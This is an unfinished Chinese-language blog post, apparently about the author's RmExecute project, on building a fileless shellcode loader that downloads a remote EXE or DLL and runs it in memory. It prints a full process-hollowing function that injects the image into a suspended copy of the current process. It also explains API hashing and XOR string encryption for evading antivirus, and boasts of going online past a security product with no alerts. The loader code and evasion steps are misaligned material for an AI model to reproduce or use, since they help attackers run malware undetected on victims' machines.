前言 & 挖坑
项目地址：9bie / RmExecute
最近流行文件不落地，然后因为jio本又被杀的多了，辣么有什么办法快速弄出不落地免杀效果又好的东西呢？
对没错就整个shellcode的payload吧，可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。
目前设想有直接用VS2017，弄个下载者的payload，调用win32 API,然后下载DLL/EXE，直接内存加载。
这样虽然不是严格意义上的payload，但是这是最简单的方法
或者使用反射DLL方法，直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。
按照我这破水平，估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。
emmm怎么感觉有点饶，不过应该就这样吧。
研究资料
- 编写并提取简易shellcode
- windows下shellcode提取模板的实现
- 反射式DLL注入 ReflectiveDLLInjection
- stephenfewer/ReflectiveDLLInjection
- reflect-pe
开始
首先，这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode作为开头项目，因为这个框架比较简单（我看得懂，顺带强烈推荐这个作者的文章
分析的十分好，简明直观的点出了然而初步检查下来之后发现，这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。
这时候我们就可以参考别的项目文件
这里我参考了PIC_Bindshell 这个项目，写的也很好，然而我已经使用上面那个项目作为入口了，就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多，只不过别人的更加优雅，人家是PEB找getprocxxxx那个api之后，直接计算hash就能得出函数在文件中的地址，之后就可以直接调用了。。当然缺点也有，就是得自己预先硬编码一个hash表，略微的麻烦，但是也至少比直接字符串搜索api地址比较好。
相关原理在这里：详解Windows API Hashing技术
PIC_Bindshell使用的是RORT32加密hash，但是人家作者给出了计算脚本，省去了我们去编写的麻烦。直接脱下来使用。
之后就是开始计算我们第一阶段需要的WINAPI了。
基础的有msvcrt所需的几个常用功能，memcpy,memset,malloc,free这些，之后就是WinHttpOpen,WinHttpOpenRequest这些函数，全部加入我们所需的hashmaping里，很轻松的我们就有如下
之后，我们首先先整个下载功能
下载功能
同上，故技重施
之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。
内存运行
之后，我们当然就是直接借鉴（抄）一份，内存运行的代码啦。
直接贴上代码
bool RunPortableExecutable()
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase = NULL;; //Base address of the image
void* pImageBase = NULL;; // Pointer to the image base
char CurrentFilePath[MAX_PATH];
DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize
fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
//ZeroMemory(&PI, sizeof(PI)); // Null the memory
//ZeroMemory(&SI, sizeof(SI)); // Null the memory
fn.fnmemset(&PI, 0, sizeof(PI));
fn.fnmemset(&SI, 0, sizeof(SI));
if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
//fix randomly crash
if (pImageBase == 0) {
fn.fnResumeThread(PI.hThread);
return 1;
}
else {
// Write the image to the process
fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
fn.fnResumeThread(PI.hThread); //?Start the process/call main()
}
return true; // Operation was successful.
}
}
}
return false;
}
怎么说，效果拔群
特地选了个比较古老并且特征比较明显的试了下某数字，完全无弹窗也无响应（当然和我没有写启动有很大的关系。
至此，咱们首要的目标就这么完成啦！
进阶 - payload加密
虽说我们的API使用了winapi hashing技术，然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密，比较推荐的是XOR加密，base64加密也不是不可以，但是base64的硬编码了一个base64表特征也十分明显，当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧？
XOR比起base64，短小高效，虽然对着明眼人可能一眼就看出来是XOR加密，但是在本来就短小的shellcode中比起一整个base64表，xor已经是十分小巧且可以接受的，我才不会说是我懒得写base64呢。
进阶2 - 反射DLL
虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了，然而在下发可执行文件的时候，一下下发一整个文件过去，可能会有大量的代码我们是暂时用不到的，并且这样可能增大了被dump分析的风险。
那么我们有没有办法，再想要的时候，获取到这部分代码片段，再下载执行呢？
有两个办法，一个是把功能全部shellcode片段化，让每个功能都成为shellcode，这样太奢侈也太麻烦了。（俺觉得就算是APT也不会这样搞）。所以另外一个技术诞生了。
那就是反射DLL执行，原理和内存执行exe差不多，只不过我们是把DLL精简成"最小PE"的模式，之后把这部分dump下来，手动修补再RVA展开执行。
//未完待续